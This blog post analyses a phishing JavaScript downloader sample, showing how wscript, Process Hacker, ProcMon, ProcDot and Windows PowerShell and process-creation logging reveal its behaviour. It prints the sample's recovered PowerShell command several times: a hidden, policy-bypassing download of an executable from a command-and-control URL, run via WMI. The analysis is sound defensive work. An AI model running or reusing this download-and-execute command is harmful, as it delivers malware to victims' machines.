I spent some time looking at this javascript sample from VT. Based on both the file extention and the fact that I couldn’t get it to run in spidermonkey or internet explorer, it seems likely that this was a .js file sent as a phishing attachment that acts as a downloader to get the next stage from the c2 server. I show how to use Process Hacker, ProcMon, ProcDot, and Windows loggings to observer the PowerShell commands, and thus determine what the mawlare was doing.

# File Info

The file is ASCII text (as expected with a .js extension), and it’s 310 lines.

$file 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5: ASCII text, with very long lines, with CRLF line terminators$ wc -l 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5
310 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5


The file is identified as malicious by a handful of AV products:

# Visual Analysis

The code is comprised largely of functions that are clearly designed to obfuscate what is going on. However, there was one section in the middle that caught my eye:

var v1, v2, v3;
v1 = new ActiveXObject('WScript.Shell');
v2 = v1[ggggggggggggggggggggg_0x1ab0('0x24')]('Templates') + ggggggggggggggggggggg_0x1ab0('0x25');
v3 = v1['CreateShortcut'](v2);
try {
v3['Save'];
} catch (_0x36ffc4) {
AGwXxrQZcLfbNdtkqv = eval(kbxGyPTslAZIBCHpK);
}


It’s not clear why this part is relatively unobfuscated, and so we should consider that it might be a red herring to lead us off the true actions. Still, it’s worth investigating.

# Failed Attempts to Debug

## SpiderMonkey

The first thing I tried was to run the script in spidermonkey:

\$ js -f /usr/share/remnux/objects.js -f 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5:192:0 ReferenceError: ActiveXObject is not defined


I’m sure there is some way to fake an ActiveXObject, but I could not figure one out, so I decided that if I wanted to debug, I should move to IE, where ActiveX is built in.

## Internet Explorer

To get the code to open in IE, I wrapped it in <html><head><script>debugger; and </script></head><body></body></html>, and saved it as test.html.

Then, to debug it, I opened the file in IE. IE will warn us that the page wants to run script, and we’ll not allow that, yet:

Instead, hit F12 to open the debugger. We’ll put a break point at the line that starts v1 =, and then refresh the page, and this time hit “Allow blocked content”.

Unfortunately, I couldn’t get anything interesting to happen. Stepping back, I launched Process Hacker, and tried just loading the page and saying yes at any prompt, and I didn’t get anything interesting to load.

# Dynamic Analysis with wscript

While the file didn’t come with any context as to how the attacker would get it running, I’m now convinced that the user would double click on a .js file, launching wscript. So we’ll do that and see what happens.

## Prep

### Windows Logging

To prepare, I wanted to enable Windows logging so that it would record the activity I was looking for. There were things I ensured were set correctly:

1. Powershell Logging
• Open gpedit, and go to Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell
• Enable “Turn on PowerShell Script Block Logging” and “Turn on PowerShell Transcription”
• Make sure to give the Transcription a folder where you want it to write. I just used C:\powershell - Now we’ll see 4104 logs in the PowerShell Application Logs
2. Log Process Creation
• Still in gpedit, Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policies - Local Group Policy Object -> Detailed Tracking
• Enable Audit Process Creation
• This will create 4688 logs in the Security Log
3. Include Command Lines with Process Creation
• In gpedit, Computer Configuration -> Administrative Templates -> System -> Audit Process Creation
• Enable Include command line in process creation events

### Start Other Tools

In addition to the logging, I started a couple other tools to capture what was going on:

• Process Hacker
• Procmon

## Run

To run the malware, I tried two different things, both of which generated pretty much the same result:

• Double click on it
• In a command terminal, wscript 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5.js

## Results

### Process Hacker

In Process Hacker, the wscript process starts and ends too quickly to be noticed, but we do see a new cmd.exe start and then a child powershell.exe:

Double clicking on that powershell process, we can grab the command line:

powershell.exe  -noprofile -windowstyle hidden  -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://gostat.dhl-tcp.com/page818.php','C:\Users\REM\AppData\Local\TempoUE18.EXE'); Invoke-WmIMethoD -ClAsS WiN32_PrOcess -NAmE CrEAte -ArgUmentLisT 'C:\Users\REM\AppData\Local\TempoUE18.Exe'


I suspect that had the network connection on my analysis vm been up, and the c2 been up, this would have opened and closed too fast to observe in Process Hacker, but since the connection kept trying and timing out, we got extra time to watch. After less than 15 seconds, the cmd and powershell processes die.

### Process Monitor (ProcMon)

To see what really happened, we’ll turn to ProcMon. This tool has a habbit of showing so much information it’s not useful. But if you filter down correctly, you can learn a lot.

The first thing I’ll look at is what processes started and by who. To do that, we’ll unselect all of the event types except for “Show Process and Thread Activity” like this:

Next, we’ll right click on a “Thread Create” event and select “Exclude Thread Create”. We’ll do the same for “Threat Exit” and “Load Image”. We’re left with a nice picture of what happened:

We can also click on the “Process Tree” button to get a graphical image:

### ProcDot

For an even more detailed graph of what happened, we can export the ProcMon data in csv form and load it into ProcDot:

### Windows Logs

Finally, let’s see what we captured in Windows Logs.

#### Security Logs

In the Security logs, we see 4 4688 Process Creation logs:

They are:

1. wscript.exe
• command line: wscript 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5.js
• parent process: cmd.exe
• pid: 0x1260
• parent pid: 0x1f0
2. cmd.exe
• command line: "C:\Windows\System32\cmd.exe" /c powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://gostat.dhl-tcp.com/page818.php','%tEmp%oUE18.EXE'); Invoke-WmIMethoD -ClAsS WiN32_PrOcess -NAmE CrEAte -ArgUmentLisT '%temP%oUE18.Exe'
• parent process: wscript.exe
• pid: 0x1708
• parent pid: 0x1260
3. conhost.exe
• command line: \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1
• parent process: cmd.exe
• pid: 0x1170
• parent pid: 0x1708
4. powershell.exe
• command line: powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://gostat.dhl-tcp.com/page818.php','C:\Users\REM\AppData\Local\TempoUE18.EXE'); Invoke-WmIMethoD -ClAsS WiN32_PrOcess -NAmE CrEAte -ArgUmentLisT 'C:\Users\REM\AppData\Local\TempoUE18.Exe'
• parent process: cmd.exe
• pid: 0xac0
• parent pid: 0x1708

#### PowerShell Logs

Similarly, in the PowerShell Application logs, there’s a 4104 that gives the PowerShell commandline: (new-object system.net.webclient).downloadfile('http://gostat.dhl-tcp.com/page818.php','C:\Users\REM\AppData\Local\TempoUE18.EXE'); Invoke-WmIMethoD -ClAsS WiN32_PrOcess -NAmE CrEAte -ArgUmentLisT 'C:\Users\REM\AppData\Local\TempoUE18.Exe'

#### PowerShell Transcripts

And, in the transcript directory (for me, c:\powershell), we have a new file, PowerShell_transcript.DESKTOP-2C3IQHO.z4SNguC5.20180706222825.txt. It contains information about the computer, the user, the powershell versions, and the full command line.

# PowerShell Analysis

Having just discovered the PowerShell command several different ways, let’s take a quick look at what it does. There isn’t any obfuscation here other than some mixed case on the back half.

The script will:

1. Download a file from hxxp://gostat.dhl-tcp.com/page818.php and store it as C:\Users\REM\AppData\Local\TempoUE18.EXE.
2. Use WMI to create a process from that exe path.

# Next Stage exe

At the time of writing, the server is not up, so I was unable to get the exe. As this file was uplosed to VT almost two months ago, that isn’t surprising.

# Summary

This post really focused on several different ways to dynamically track what happened when this javascript file was run. While in this case each tool provided similar information, each will have strengths and weaknesses, and there will be times where one is clearly ahead of the others.